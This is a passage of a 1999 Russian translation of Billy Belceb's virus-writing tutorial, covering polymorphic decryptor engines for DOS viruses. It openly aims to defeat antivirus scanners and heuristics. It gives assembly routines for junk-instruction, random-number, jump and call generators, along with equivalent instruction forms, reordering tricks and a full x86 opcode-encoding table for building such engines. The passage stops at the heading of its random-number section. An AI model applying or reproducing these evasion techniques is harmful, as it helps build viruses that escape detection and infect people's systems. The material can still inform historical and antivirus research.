ZF

      +  Пособие по написанию вирусов от Billy Belcebг +

       ( Фрагмент. Вольный перевод - (с) DrMad, 1999 )

---+ Полиморфизм +--------------------------------------------

    Это одна  из  наиболее интересных вещей в вирусологии.  Кроме того,
очень забавно написать ППР (Полиморфную Процедуру Расшифровки),  и  это
непосредственно  свидетельствует  о  профессиональном  уровне  вирмера.
Также это вещь,  о которой новички постоянно думают,  как о  невероятно
трудной   и   что   только   продвинутые  вирмеры  способны  заниматься
полиморфизмом.  НЕ СТОИТ ТАК ДУМАТЬ!  Это очень просто. Не тревожьтесь.
Если  Вы  добрались  до этих строк живыми,  я уверен,  что Вы и во всем
разберетесь. Эта глава является расширением главы ШИФРОВАНИЕ.

    Наша цель  -  сделать  ППР  безгранично  распространенной  в   мире
вирмерства :  победить антивирмеров посредством минимизации возможности
обнаруживать вирусы  по  характерным  строкам,  что  и  будет  означать
FUCK'EM  ALL!  J  Идея  состоит  в  том,  чтобы генерировать различные
расшифровщики для каждого сеанса инфицирования,  так  что  антивирмерам
придется  каждый раз отсасывать при попытке детектировать наш вирус.  И
эта  техника,  в  совокупности  со  СТЕЛС-ЗАЩИТОЙ,   АНТИЭВРИСТИКОЙ   и
НЕПОДДАВАЕМОСТЬЮ должна сделать ваши вирусы очень мощными.

    Итак, начнем изучать интересующий материал.

 % История %
 -----------

    Первые попытки написать ППР принадлежали  болгарскому  программеру,
вероятно,  одному из величайших вирмеров,  именуемому Dark Avenger. Его
вирусы были,  есть и будут учебниками для всех вирмеров.  Начиная с его
первых  вирусов,  таких  как  Eddie,  он  продемонстрировал  выдающиеся
качества в программировании.  Но наилучшим его творением надо  признать
MtE  (  Mutation  Engine  - Мутационный движок ),  первую ППР в истории
вирмерства.  Все  антивирмеры  съехали  с  катушек  в  попытках   найти
сигнатуру  для  вирусов,  основанных  на этой технологии.  После долгих
мучений антивирмеры нашли таки подходящую сигнатуру  для  MtE.  Но  это
было  только  начало.  Masud  Khafir,  член  вирмерской группы Trident,
разработал TPE,  Dark Angel из Phalcon Skiskm разработал DAME, и многие
другие  вирмейкеры  занялись  другими  крутыми  технологиями.  Если  мы
говорим о полиморфных технологиях,  мы должны иметь  в  виду,  что  эта
техника возникла в 1992 году,  очень давно.  Главная цель была - борьба
со сканерами сигнатур, и это сейчас выполнить очень просто.

    Но сейчас  полиморфные   технологии   заимели   множество   врагов:
кодоанализаторы,  эмуляторы,  трассировщики,  эвристики  и  продвинутых
антивирмеров,  сражающихся против нас.  Первоначально вирмеры  считали,
что  лучшая возможность для расшифровщиков - сделать их как можно более
вариабельными. Но время показало недостаточность этой идеи: антивирмеры
способны  декодировать  КИЛОБАЙТЫ,  чтобы только добраться до возможных
расшифровщиков,  которые ППР может генерировать.  Если  мы  покажем  им
самую маленькую порцию наших возможных расшифровщиков (с использованием
даты для генерации случайного числа, например), то мы оттрахаем их. Они
отсканируют сигнатуру,  но на другом компьютере, в другой ситуации, это
сканирование не будет работать. Это называется МЕДЛЕННЫМ ПОЛИМОРФИЗМОМ.
Мы рассмотрим эту идею дальше.

 % Введение %
 ------------

    Полиморфная технология - наиболее личная вещь,  которую  программер
способен  сделать.  Сейчас  я  должен  вам  сказать,  что использование
полиморфности,  придуманной другим программером,  не  является  хорошей
идеей. Написать достойную ППР очень легко, но если вы используете чужую
разработку, вы ограничены в средствах при написании вашего вируса.

    Нам необходимо сгенерировать расшифровщик,  помещающий мусор  между
реальными расшифровывающими командами,  с ложными переходами,  вызовами
процедур,  антиотладкой и пр.  посмотрим,  что же мы должны  для  этого
сделать...

    - Генерировать много путей для достижения одной точки
    - Изменять порядок команд, если это возможно
    - Позволять использование в других вирусах
    - Вызывать бессмысленные INT 21h
    - Вызывать бессмысленные другие прерывания
    - Если захотим, то использовать медленный полиморфизм
    - Минимизировать все возможные сигнатуры
    - Защищать генератор команд,  чтобы максимально затруднить
его дизассемблирование

    Если вы  занимаетесь  ППР,  imagination  -  очень  хорошее  оружие.
Используйте это средство для герерации многих оригинальных вещей, какие
только можете.

 % Первые шаги в полиморфизме %
 -----------------------------

    Простейшим путем сделать расшифровщик,  который меняется при каждом
поколении вирусов,  является написание генератора мусора,  и разжижение
команд расшифровщика мусорными командами.  Это первая попытка,  которую
вы можете сделать с целью написать свой полиморфик. Первый тип мусора -
однобайтовики,  это  простейшие  варианты  команд,  которые  мы   можем
использовать.  Мы  должны  выбрать  перед  использованием бессмысленных
команд мусорные регистры.  Я обычно использую  AX,  BX  и  DX.  Давайте
посмотрим на маленькую табличку однобайтовиков:

 OneByteTable:
  db  09Eh      ; sahf
  db  090h      ; nop
  db  0F8h      ; clc
  db  0F9h      ; stc
  db  0F5h      ; cmc
  db  09Fh      ; lahf
  db  0CCh      ; int 3h
  db  048h      ; dec ax
  db  04Bh      ; dec bx
  db  04Ah      ; dec dx
  db  040h      ; inc ax
  db  043h      ; inc bx
  db  042h      ; inc dx
  db  098h      ; cbw
  db  099h      ; cwd
 EndOneByteTable:

    При помощи простой процедуры, которая размещает реальные команды, и
другой,  которая размещает мусор, мы получаем очень простую полиморфную
технологию.  Она  удобна  для  наших  первых  шагов,  но если вы пишете
хороший вирус,  вы должны знать одну вещь...  если встречается  слишком
много бесмысленных команд, приготовьтесь к тому, что антивирус выставит
флаг. Кгхм... так как мы можем почать такие инструкции? Очень просто:

 GenerateOneByteJunk:
        lea     si,OneByteTable ; Смещение в таблице
        call    random          ; Генерирует случайные числа
        and     ax,014h         ; AX долно быть между 0 и 14
        add     si,ax           ; Добавим AX (AL) к смещению
        mov     al,[si]         ; Поместим выбранный код в al
        stosb                   ; Сохраним в ES:DI (указывает
                                ; на расшифровщик )
  ret

    Ну конечно, нам нужен генератор случайных чисел. Вот простейший:

 Random:
        in      ax,40h          ; Будет помещать случайное
        in      al,40h          ; число в AX
        ret

    При помощи  вышеприведенных  процедур  мы  можем  сделать  ну очень
примитивную технологию.  Но наши цели другие,  так что обратим внимание
на дальнейшие разделы этой главы.

 % Несколько возможностей выполнить простую операцию %
 -----------------------------------------------------

    Существует бесконечное число возможностей ( ну  скажем...  миллионы
возможностей J),  чтобы выполнить простую операцию. Давайте посмотрим,
как можно выполнить "mov dx, 1234h" без применения других регистров:

  mov  dx,1234h

  push  1234h
  pop  dx

  mov  dx,1234h xor 5678h
  xor  dx,5678h

  mov  dh,12h
  mov  dl,34h

  xor  dx,dx
  or  dx,1234h

  mov  dx,not 1234h
  not  dx
  [...]

    И мы можем придумывать новые и новые комбинации.  И,  конечно, если
мы  будем задействовать еще и другие регистры,  количество возможностей
еще более возрастает.

 % Изменение порядка команд %
 ----------------------------

    Существует много  команд,  которые  мы  можем программировать в том
порядке,  какой нас устраивает.  И это,  в совокупности с возможностями
выполнять   простые  команды,  может  сделать  наш  полиморфный  движок
действительно мощным.

    Обычно все команды,  которые размещаются перед циклом  расшифровки,
могут  быть  размещены  в  произвольном  порядке,  исключая  комбинации
PUSH/POP, а также аналогичные. Мы говорим о командах, работа которых не
заваисит от работы других. Давайте рассмотрим примерчик:

  mov  cx,encrypt_size
  mov  si,encrypt_begin
  mov  di,encrypt_key

    Мы можем  переставить эти команды в том порядке,  в каком хотим,  в
случайном  порядке  J  Они  будут  делать  то  же  самое,  если   даже
переставить их так:

  mov  di,encrypt_key
  mov  cx,encrypt_size
  mov  si,encrypt_begin

    И это касается всех возможных комбинаций.

 % Переносимость %
 -----------------

    Сделать переносимый полиморфный движок достаточно просто.  Все, что
мы  должны  сделать  -  это  сделать  так,  чтобы наша ППР использовала
параметры.  Например,  мы можем использовать CX  для  хранения  размера
шифруемой части,  DS:DX для указания на шифруемую область, и т.п. Таким
образом мы можем использовать наш движок в вирусе удобным образом.

 % Таблицы против Блоков %
 ------------------------

 ю Табличные ППР:

    Смысл движков  этого  вида,  чтобы  иметь  смещения  всех процедур,
которые гененируют  мусор  (однобайтовики,  ложные  вызовы  прерываний,
математические команды...) в другой таблице. Затем, используя случайное
число,  мы обращаемся по одному из смещений и получаем случайный мусор.
Посмотрим примерчик:

 RandomJunk:
        call Random                     ; Случайное число в AX
        and  ax,(EndRandomJunkTable-RandomJunkTable)/2
        add  ax,ax                      ; AX*2
        xchg si,ax
        add  si, offset RandomJunkTable ; Указатель на таблицу
        lodsw
        call ax              ; Обращение по случайному смещению
  ret

 RandomJunkTable:
  dw  offset GenerateOneByteJunk
  dw  offset GenerateMovRegImm
  dw  offset GenerateMovRegMem
  dw  offset GenerateMathOp
  dw  offset GenerateArmour
  dw  offset GenerateCalls
  dw  offset GenerateJumps
  dw  offset GenerateINTs
  [...]
 EndRandomJunkTable:

    Очень легко  добавить  новые процедуры к табличной ППР,  и этот тип
движка может быть сильно оптимизирован (зависит от программиста).

 ю Блоковые ППР:

    Наша цель  состоит  в  том,  чтобы  составить  для  каждой  команды
расшифровщика блоки фиксированного размера.  Имеется пример такого рода
движков в вирусе Elvira (Spanska),  опубликованного  в  29A#2.  Давайте
рассмотрим   примерчик   одного  из  блоков  в  движке  вируса  Elvira,
предназначенный для сравнения CX с 0.  Каждый блок  имеет  определенный
размер (6 байтов).

  cmp cx, 0
  nop
  nop
  nop

  nop
  nop
  nop
  cmp cx, 0

  nop
  or cx, cx
  nop
  nop
  nop

  nop
  nop
  nop
  or cx, cx
  nop

  test cx, 0FFFFh
  nop
  nop

  or cl, cl
  jne suite_or
  or ch, ch
  suite_or:

  mov bx, cx
  inc bx
  cmp bx, 1

  inc cx
  cmp cx, 1
  dec cx
  nop

  dec cx
  cmp cx, 0FFFFh
  inc cx
  nop

    Как вы можете видеть,  гораздо  проще  добавлять  новые  блоки  для
выполнения  той  же  задачи.  Но  этот сорт движков имеет слабое место:
размер.  Движок Elvir-ы занимает около половины длины всего вируса:  из
4250  байтов  движок  отсасывает  2000-2500 байтов.  Зато приятно,  что
добавляя новые блоки,  мы можем  создавать  новые  варианты  вируса,  и
делать его недетектируемым для антивирмеров J

 ю Но победителем является...

    Я считаю,  что  таблицы  - нормальное решение,  потому что мы можем
генерировать все возможные комбинации блоков,  и более  того.  Блоки  -
решение для всех ППР,  которые не хотят продолжить свое существование в
аду J

 % Команды %
 -----------

    А здесь  -  основа  всех  полиморфных движков,  способ генерировать
команды со случайными регистрами, значениями, позициями в памяти...

 ю Нотация:

 Символ*         Объяснение*
  ******   ***********
 imm8           байтовый непосредственный операнд
 imm16          словный непосредственный операнд
 reg8           байтовый регистровый операнд
 reg16          словный регистровый операнд
 mem8           байтовый операнд в памяти
 mem16          словный операнд в памяти
 regmem8        байтовый операнд регистр/память
 regmem16       словный операнд регистр/память
 d8             перемещаемый адрес байта
 d16            перемещаемый адрес слова
 sig8           байтовый знаковый операнд
 sig16          словный знаковый операнд
 sig32          операнд типа смещение:сегмент
 ^0,^1, etc     Поле Reg  байта RegInfо, содержит это число в
                качестве оператора

 RegInfoByte    требует следующи полей
 reg            код используемого регистра
 sreg           код сегментного регистра
 r/m            тип адресации ( базовый, индексный, регистры... )
 mod            индексный регистр ( DI, BP... )
 dir            направление
 w              признак слова

 Скелет кода операции*
  ********************

 +-----------------------------------------------------------------------+
 |     8 bits        2     3    3   8 or 16 bits    8 or 16 bits   |
 | +=============+ +=====С=====С=====+ +==============+ +==============+ |
 | | Команда     | | MOD | REG | R/M | | Размещение   | |   Данные     | |
 | +=============+ +=====П=====П=====+ +==============+ +==============+ |
 |     1 байт            1 байт          1 или 2 байта   1 или 2 байта   |
 +-----------------------------------------------------------------------+

 Поле Reg *
  *********

 Поле Reg        00  01  02  03  04  05  06  07
                    
 Байтовые рег-с  AL  CL  DL  BL  AH  CH  DH  BH
 Словные рег-с   AX  CX  DX  BX  SP  BP  SI  DI
 Расширенные р   EAX ECX EDX EBX ESP EBP ESI EDI

    Как мы можем узнать - регистр словный или байтовый? Легко,
при помощи бита w. Если от 1, то слово, иначе - байт.

 Поле Sreg *
  **********

 Поле Sreg   01 03 05 07
           
 Сегмент     ES CS SS DS

  Поля R/M и Mod*
   **************

 Поле R/M   00  Mod
     
     000  [BX+SI]
     001  [BX+DI]
     010  [BP+SI]
     011  [BP+DI]
     100  [SI]
     101  [DI]
     110  d16
     111  [BX]

 Поле R/M   01  Mod
     
     000  [BX+SI+d8]
     001  [BX+DI+d8]
     010  [BP+SI+d8]
     011  [BP+DI+d8]
     100  [SI+d8]
     101  [DI+d8]
     110  [BP+d8]
     111  [BX+d8]

 Поле R/M   10  Mod
     
     000  [BX+SI+d16]
     001  [BX+DI+d16]
     010  [BP+SI+d16]
     011  [BP+DI+d16]
     100  [SI+d16]
     101  [DI+d16]
     110  [BP+d16]
     111  [BX+d16]

 Поле R/M   11  Mod  Байт  Слово
          
     000   AL   AX
     001   CL   CX
     010   DL   DX
     011   BL   BX
     100   AH   SP
     101   CH   BP
     110   DH   SI
     111   BH   DI

 Поле направления*
   ***************

    Если оно 0,  перемещаемся от reg к mod,  если 1, то vice-versa, но,
пожалуйста,  имейте  в виду,  что TBSCAN выставит флаг,  если в команде
присутствует  это  поле  =  0,  потому   что   ассемблером   этого   не
сгенерируешь.

 ю Коды команд:

 +-------+
 | MOV |
 +-------+

    Эта команда  наиболее  используемая  в ассемблере.  Кроме того,  ее
можно запрограммировать большим  числом  способов.  ОСТОРОЖНО!  У  этой
команды  есть  несколько  оптимизированных  вариантов,  и как вы можете
видеть,  для AL/AX.  Вы можете кодировать эти регистры,  как делается в
ассемблерных программах,  но если не будете - эвристические анализаторы
вы-#$%^-ут ваш код!

 MOV reg8,imm8         B0+RegByte imm8
 MOV reg16,imm16       B8+RegWord imm16
 MOV AL,mem8         A0 mem8
 MOV AX,mem16         A1 mem16
 MOV mem8,AL         A2 mem8
 MOV mem16,AX         A3 mem16
 MOV reg8,regmem8      8A RegInfoByte
 MOV reg16,regmem16    8B RegInfoByte
 MOV regmem8,reg8      88 RegInfoByte
 MOV regmem16,reg16    89 RegInfoByte
 MOV regmem8,imm8      C6 ^0
 MOV regmem16,imm16    C7 ^0
 MOV reg16,segmentreg  8C RegInfoByte
 MOV segmentreg,reg16  8E RegInfoByte

 +--------+
 | XCHG |
 +--------+

    Как и в случае с MOV, эта команда тоже оптимизирована для AX.

 XCHG AX,reg16        90+RegWord
 XCHG reg8,regmem8    86 RegInfoByte
 XCHG regmem8,reg8    86 RegInfoByte
 XCHG reg16,regmem16  87 RegInfoByte
 XCHG regmem16,reg16  87 RegInfoByte

 +-----------------------+
 | Сегментные префиксы |
 +-----------------------+

    Это не   полные   команды.  Это  префиксы,  они  размещаются  перед
командами.

 SEGCS  2E
 SEGDS  3E
 SEGES  26
 SEGSS  36

 +--------------------+
 | Стековые команды |
 +--------------------+

    Эти команды    используются    для   помещения/извлечения/обработки
значений в/из/внутри стека.

 PUSH reg16     50+RegWord
 PUSH regmem16  FF ^6
 PUSH imm8      6A imm8
 PUSH imm16     68 imm16
 PUSH CS        0E
 PUSH DS        1E
 PUSH ES        06
 PUSH SS        16
 PUSHA          60
 PUSHF          9C
 POP reg16      58+RegWord
 POP regmem16   8F ^0 imm16
 POP DS         1F
 POP ES         07
 POP SS         17
 POPA          61
 POPF          9D

 +--------------------+
 | Флаговые команды |
 +--------------------+

    Все эти  команды  однобайтовые,  так  что  чрезвычайно  удобны  для
генераторов  мусора,  но  остерегайтесь некоторых инструкций типа STD и
STI.

 CLI   FA
 STI   FB
 CLD   FC
 STD   FD
 CLC   F8
 STC   F9
 CMC   F5
 SAHF  9E
 LAHF  9F

   Логические команды*
    ******************
 +-------+
 | XOR |
 +-------+

 XOR AL,imm8       34 imm8
 XOR AX,imm16       35 imm16
 XOR reg8,regmem8    32 RegInfoByte
 XOR reg16,regmem16  33 RegInfoByte
 XOR regmem8,reg8    30 RegInfoByte
 XOR regmem16,reg16  31 RegInfoByte
 XOR regmem8,imm8    80 ^6 imm8
 XOR regmem16,imm8   83 ^6 imm8
 XOR regmem16,imm16  81 ^6 imm16

 +------+
 | OR |
 +------+

 OR AL,imm8      0C imm8
 OR AX,imm16      0D imm16
 OR reg8,regmem8    0A RegInfoByte
 OR reg16,regmem16  0B RegInfoByte
 OR regmem8,reg8    08 RegInfoByte
 OR regmem16,reg16  09 RegInfoByte
 OR regmem8,imm8    80 ^1 imm8
 OR regmem16,imm8   83 ^1 imm8
 OR regmem16,imm16  81 ^1 imm16

 +-------+
 | AND |
 +-------+

 AND AL,imm8       24 imm8
 AND AX,imm16       25 imm16
 AND reg8,regmem8    22 RegInfoByte
 AND reg16,regmem16  23 RegInfoByte
 AND regmem8,reg8    20 RegInfoByte
 AND regmem16,reg16  21 RegInfoByte
 AND regmem8,imm8    80 ^4 imm8
 AND regmem16,imm8   83 ^4 imm8
 AND regmem16,imm16  81 ^4 imm16

 +-------+
 | NOT |
 +-------+

 NOT regmem8   F6 ^2
 NOT regmem16  F7 ^2

 +-------+
 | NEG |
 +-------+

 NEG regmem8   F6 ^3
 NEG regmem16  F7 ^3

 +--------+
 | TEST |
 +--------+

 TEST AL,imm8        A8 imm8
 TEST AL,imm16        A9 imm16
 TEST regmem8,reg8    84 RegInfoByte
 TEST regmem16,reg16  85 RegInfoByte
 TEST regmem8,imm8    F6 ^0 imm8
 TEST regmem16,imm16  F7 ^0 imm16

 +-------+
 | CMP |
 +-------+

 CMP AL,imm8       3C imm8
 CMP AX,imm16       3D imm16
 CMP reg8,regmem8    3A RegInfoByte
 CMP reg16,regmem16  3B RegInfoByte
 CMP regmem8,reg8    38 RegInfoByte
 CMP regmem16,reg16  39 RegInfoByte
 CMP regmem8,imm8    80 ^7 imm8
 CMP regmem16,imm8   83 ^7 imm8
 CMP regmem16,imm16  81 ^7 imm16

 Арифметические команды*
  **********************
 +-------+
 | ADD |
 +-------+

 ADD AL,imm8       04 imm8
 ADD AX,imm16       05 imm16
 ADD reg8,regmem8    02 RegInfoByte
 ADD reg16,rm16      03 RegInfoByte
 ADD regmem8,reg8    00 RegInfoByte
 ADD regmem16,reg16  01 RegInfoByte
 ADD regmem8,imm8    80 ^0 imm8
 ADD regmem16,imm8   83 ^0 imm8
 ADD regmem16,imm16  81 ^0 imm16

 +-------+
 | SUB |
 +-------+

 SUB AL,imm8       2C imm8
 SUB AX,imm16       2D imm16
 SUB reg8,regmem8    2A RegInfoByte
 SUB reg16,regmem16  2B RegInfoByte
 SUB regmem8,reg8    28 RegInfoByte
 SUB regmem16,reg16  29 RegInfoByte
 SUB regmem8,imm8    80 ^5 imm8
 SUB regmem16,imm8   83 ^5 imm8
 SUB regmem16,imm16  81 ^5 imm16

 +-------+
 | ADC |
 +-------+

 ADC AL,imm8       14 imm8
 ADC AX,imm16       15 imm16
 ADC reg8,regmem8    12 RegInfoByte
 ADC reg16,regmem16  13 RegInfoByte
 ADC regmem8,reg8    10 RegInfoByte
 ADC regmem16,reg16  11 RegInfoByte
 ADC regmem8,imm8    80 ^2 imm8
 ADC regmem16,imm8   83 ^2 imm8
 ADC regmem16,imm16  81 ^2 imm16

 +-------+
 | SBB |
 +-------+

 SBB AL,imm8       1C ib
 SBB AX,imm16       1D iw
 SBB reg8,regmem8    1A RegInfoByte
 SBB reg16,regmem16  1B RegInfoByte
 SBB regmem8,reg8    18 RegInfoByte
 SBB regmem16,reg16  19 RegInfoByte
 SBB regmem8,imm8    80 ^3 imm8
 SBB regmem16,imm8   83 ^3 imm8
 SBB regmem16,imm16  81 ^3 imm16

 +-------+
 | INC |
 +-------+

 INC reg16     40+RegWord
 INC regmem8   FE ^0
 INC regmem16  FF ^0

 +-------+
 | DEC |
 +-------+

 DEC reg16     48+RegWord
 DEC regmem8   FE ^1
 DEC regmem16  FF ^1

 +-------+
 | MUL |
 +-------+

 MUL regmem8   F6 ^4
 MUL regmem16  F7 ^4

 +-------+
 | DIV |
 +-------+

 DIV regmem8   F6 ^6
 DIV regmem16  F7 ^6

 +--------+
 | IMUL |
 +--------+

 IMUL regmem8        F6 ^5
 IMUL regmem16        F7 ^5
 IMUL reg16,regmem16,imm16  69 imm16
 IMUL reg16,regmem16,imm8   6B imm8

 +--------+
 | IDIV |
 +--------+

 IDIV regmem8   F6 ^7
 IDIV regmem16  F7 ^7

        Команды сдвига*
         **************
 +-------+
 | SHL |
 +-------+

 SHL regmem8,1      D0 ^4
 SHL regmem16,1     D1 ^4
 SHL regmem8,CL     D2 ^4
 SHL regmem16,CL    D3 ^4
 SHL regmem8,imm8   C0 ^4 imm8
 SHL regmem16,imm8  C1 ^4 imm8

 +-------+
 | SHR |
 +-------+

 SHR regmem8,1      D0 ^5
 SHR regmem16,1     D1 ^5
 SHR regmem8,CL     D2 ^5
 SHR regmem16,CL    D3 ^5
 SHR regmem8,imm8   C0 ^5 imm8
 SHR regmem16,imm8  C1 ^5 imm8

 +-------+
 | SAL |
 +-------+

 SAL regmem8,1      D0 ^4
 SAL regmem16,1     D1 ^4
 SAL regmem8,CL     D2 ^4
 SAL regmem16,CL    D3 ^4
 SAL regmem8,imm8   C0 ^4 imm8
 SAL regmem16,imm8  C1 ^4 imm8

 +-------+
 | SAR |
 +-------+

 SAR regmem8,1      D0 ^7
 SAR regmem16,1     D1 ^7
 SAR regmem8,CL     D2 ^7
 SAR regmem16,CL    D3 ^7
 SAR regmem8,imm8   C0 ^7 imm8
 SAR regmem16,imm8  C1 ^7 imm8

 +-------+
 | ROL |
 +-------+

 ROL regmem8,1      D0 ^0
 ROL regmem16,1     D1 ^0
 ROL regmem8,CL     D2 ^0
 ROL regmem16,CL    D3 ^0
 ROL regmem8,imm8   C0 ^0 imm8
 ROL regmem16,imm8  C1 ^0 imm8

 +-------+
 | ROR |
 +-------+

 ROR regmem8,1      D0 ^1
 ROR regmem16,1     D1 ^1
 ROR regmem8,CL     D2 ^1
 ROR regmem16,CL    D3 ^1
 ROR regmem8,imm8   C0 ^1 imm8
 ROR regmem16,imm8  C1 ^1 imm8

 +-------+
 | RCL |
 +-------+

 RCL regmem8,1      D0 ^2
 RCL regmem16,1     D1 ^2
 RCL regmem8,CL     D2 ^2
 RCL regmem16,CL    D3 ^2
 RCL regmem8,imm8   C0 ^2 imm8
 RCL regmem16,imm8  C1 ^2 imm8

 +-------+
 | RCR |
 +-------+

 RCR regmem8,1      D0 ^3
 RCR regmem16,1     D1 ^3
 RCR regmem8,CL     D2 ^3
 RCR regmem16,CL    D3 ^3
 RCR regmem8,imm8   C0 ^3 imm8
 RCR regmem16,imm8  C1 ^3 imm8

    Jump-ы, Call-ы and Ret-ы*
     ************************

    Я должен сейчас немного рассказать  об  одной  интересной  для  вас
вещи.  Смещения  jump-ов  вычисляются  от следующего байта всей команды
перехода,  например,  если у нас есть E9  00  00  (JUMP  NEAR),  то  мы
переходим сразу к следующей команде,  размещенной за командой перехода.
Продолжая дальше,  мы можем узнать,  что JMP 0001 перескочит через один
байт.   Но...   Что  случится,  если  мы  захотим  перейти  в  обратном
направлении?  Очень просто.  Если мы выполним JMP FFFF,  мы перейдем на
данные,  и подвиснем.  Мы можем использовать эту формулу, в которой Х -
окончательный результат, и Х' поможет нам произвести вычисления.

 X' = адрес jump - адрес перехода + 2
 X  = NEG X'

 +-----------------------+
 | Безусловные   Jumpы |
 +-----------------------+

 JMP sig16 ( SHORT )  E9 sig16
 JMP sig32 ( FAR )    EA sig32
 JMP sig8 ( NEAR )    EB sig8
 JMP regmem16        FF ^4
 JMP FAR mem16:16     FF ^5

 +---------------------+
 | Условные    Jumpы |
 +---------------------+

 JO sig8    70 sig8
 JNO sig8   71 sig8
 JB sig8    72 sig8
 JAE sig8   73 sig8
 JZ sig8    74 sig8
 JNZ sig8   75 sig8
 JBE sig8   76 sig8
 JA sig8    77 sig8
 JS sig8    78 sig8
 JNS sig8   79 sig8
 JPE sig8   7A sig8
 JPO sig8   7B sig8
 JL sig8    7C sig8
 JGE sig8   7D sig8
 JLE sig8   7E sig8
 JG sig8    7F sig8
 JCXZ sig8  E3 sig8

 +--------------+
 | Callы      |
 +--------------+

 CALL sig32      9A sig32
 CALL sig16      E8 sig16
 CALL regmem16      FF ^2
 CALL FAR mem16:16  FF ^3

 +-----------+
 | Returnы |
 +-----------+

 RETN  C3
 RETF  CB
 IRET  CF

 +--------------+
 | Циклы      |
 +--------------+

 LOOPNE/LOOPNZ sig8  E0 cb
 LOOPE/LOOPZ sig8    E1 cb
 LOOP sig8       E2 cb

 Разное*
  ******

 +--------------------+
 | Команды загрузки |
 +--------------------+

 LEA reg16,regmem16  8D RegInfoByte
 LDS reg16,mem16:16  C4 RegInfoByte
 LES reg16,mem16:16  C5 RegInfoByte

 % Генерация Jump-ов и Call-ов  %
 --------------------------------

    Это одна из наиболее важных вещей,  которую вам необходимо сделать,
если  вы  хотите,  чтобы сгенерированный вами код был более приятен для
ламерских глаз ;)

 ю Переходы:

    Создание переходов очень просто и очень  полезно  для  наших  нужд.
Попытайтесь отказаться от "вырожденных" jump-ов,  типа JMP 0000, потому
что если мы  используем  этот  вид  переходов,  то  эвристический  флаг
вскочит  с  большой долей вероятности.  Наша цель - сделать так,  чтобы
команды выглядели натурально. И... где еще вам могут встретиться jump-ы
на следующую команду?  J Для того,  чтобы создавать jump-ы,  вы должны
быть внимательны со смещениями,  потому что если вы сдалаете их слишком
маленькими или слишком большими,  компьютер просто подвиснет. Вы должны
сделать их настраиваемыми на конкретный  случай.  Это  хорошая  идея  -
сделать  смещения  jump-ов  переменными  (  в пределах от 1 до 5 должно
хватить),  и использовать  в  качестве  мусорных  команд.  Разработайте
процедуру  для  проверки  того,  что  ваши  jump-ы  будут  ссылаться  в
правильные позиции.  Помните: напугать противника - наше лучшее оружие.

    Давайте рассмотрим очень простой генератор условных  переходов.  Он
очень несложен.

 generate_jx:
        call    random   ; Наш генератор случайных чисел
        and     al,0Fh   ; Число между 0 и 16
        add     al,70h   ; Прибавим 70 для получения команды
        stosb            ; Поместим AL в ES:DI
        xor     ax,ax    ; Сделаем AL = 00
        stosb            ; Сгенерируем "вырожденный" jump
        ret

     Это не лучшее решение, но оно... работает J

 ю Вызовы подпрограмм:

    Чуть-чуть посложнее,   чем   конструирование   jump-ов.   Если   мы
используем  call-ы  вместо  jump-ов,  код рухнет (действительно!).  Это
происходит потому,  что когда мы выполняем call,  смещение помещается в
стек,  а  команда  ret  предназначена  для возврата в точку,  следующую
непосредственно за call-ом.  Таким образом,  если  мы  используем  call
непосредственно,  наш код будет совершенно бесполезным.  Существует две
возможности победить эту проблему.  Рассмотрим первую  из  них:  делаем
call  в  определенную точку,  а затем генерируем jump,  который обходит
данный call ( да,  вызов процедуры... это не $%^#-ный RET!), строим код
процедуры,  вписываем  в  конец  RET,  и это все!  Это должно выглядеть
примерно так:

  [...]
  call  shit --------+
  [...]  -----------|+
  jmp  avoid_shit   -||---------+
  [...]              ||         |
 shit:    ----------+|         |
  [...]               |         |
  ret  ---------------+         |
  [...]                         |
 avoid_shit:  -----------------+
  [...]

    Может быть, второй путь окажется более простым для ваших глаз. Дык,
я готов объяснить его вашему пытливому уму J

    Мы должны  сделать  jump  через  call,  затем сгенерировать код для
процедуры генерации RET, и мы теперь можем вызывать код подпрограммы (и
еще сколько угодно раз). Посмотрите:

  [...]
  jmp  avoid_shit -+
  [...]            |
 shit:    --------|--+
  [...]            |  |
  ret  ------------|--|--+
  [...]            |  |  |
 avoid_shit:  ----+  |  |
  [...]               |  |
  call  shit ---------+  |
  [...]  ---------------+

 % Вызовы прерываний %
 ---------------------

    Это ОЧЕНЬ просто,  поверьте мне. Мы можем вызывать эти прерывания в
нашем коде,  когда захотим;  это прерывания,  которые ничего не делают.
Посмотрите на коротенький списочек:

 INT 01h  Пошаговая трассировка, генерируется процессором
 INT 08h  IRQ0 - Системный таймер, генерируется процессором
 INT 0Ah  IRQ2 - LPT2/EGA,VGA/IRQ9; генерируется процессором
 INT 0Bh  IRQ3 - последовательный порт (COM2); генерируется процессором
 INT 0Ch  IRQ4 - последовательный порт (COM1); генерируется процессором
 INT 0Dh  IRQ5 - винчестер/LPT2/reserved; генерируется процессором
 INT 0Eh  IRQ6 - контроллер дискеты; генерируется процессором
 INT 0Fh  IRQ7 - параллельный принтер
 INT 1Ch  TIME - тик системного таймера
 INT 28h  DOS 2+ - прерывание ожидания DOS
 INT 2Bh  DOS 2+ - зарезервировано
 INT 2Ch  DOS 2+ - зарезервировано
 INT 2Dh  DOS 2+ - зарезервировано
 INT 70h  IRQ8 - часы реального времени в CMOS
 INT 71h  IRQ9 - переназначено на INT 0A посредством BIOS
 INT 72h  IRQ10 - зарезервировано
 INT 73h  IRQ11 - зарезервировано
 INT 74h  IRQ12 - координатное устройство
 INT 75h  IRQ13 - исключения в мат. сопре
 INT 76h  IRQ14 - контроллер жесткого диска
 INT 77h  IRQ15 - зарезервировано; энергосбережение (Compaq)

    Это прерывания,  которые вы можете вызывать без каких-либо проблем.
Я советую вам построить таблицу с номерами прерываний для использования
в процедуре,  которая генерирует коды команды INT.  ЭЙ!  Я  забыл!  Код
команды IN есть CD, а дальше идет байт номера прерывания.

    Другим хорошим выбором является обращение к прерываниям INT 21h/INT
10h/INT 16h с функциями, которые ничего не делают. Давайте посмотрим на
возможные варианты команды INT 21h.

 AH=0Bh    Прочитать состояние входа
 AH=0Dh    Сбросить буфера
 AH=19h    Получить текущий диск
 AH=2Ah    Получить текущую дату
 AH=2Ch    Получить текущее время
 AH=30h    Получить номер версии dos
 AH=4Dh    Получить код ошибки
 AH=51h    Получить активный psp
 AH=62h    Получить активный psp

 AX=3300h  Получить состояние обработки ctrl-break
 AX=3700h  Получить разделитель командной строки
 AX=5800h  Получить стратегию распределения памяти
 AX=5802h  Получить ствтус верхней памяти

    Я думаю,  достаточно ясно,  как сделать код.  Генерация MOv  AH/AX,
число и INT 21h - простая задача. Просто возьмите и сделайте!J

 % Генератор случайных чисел %
 ----------------------------

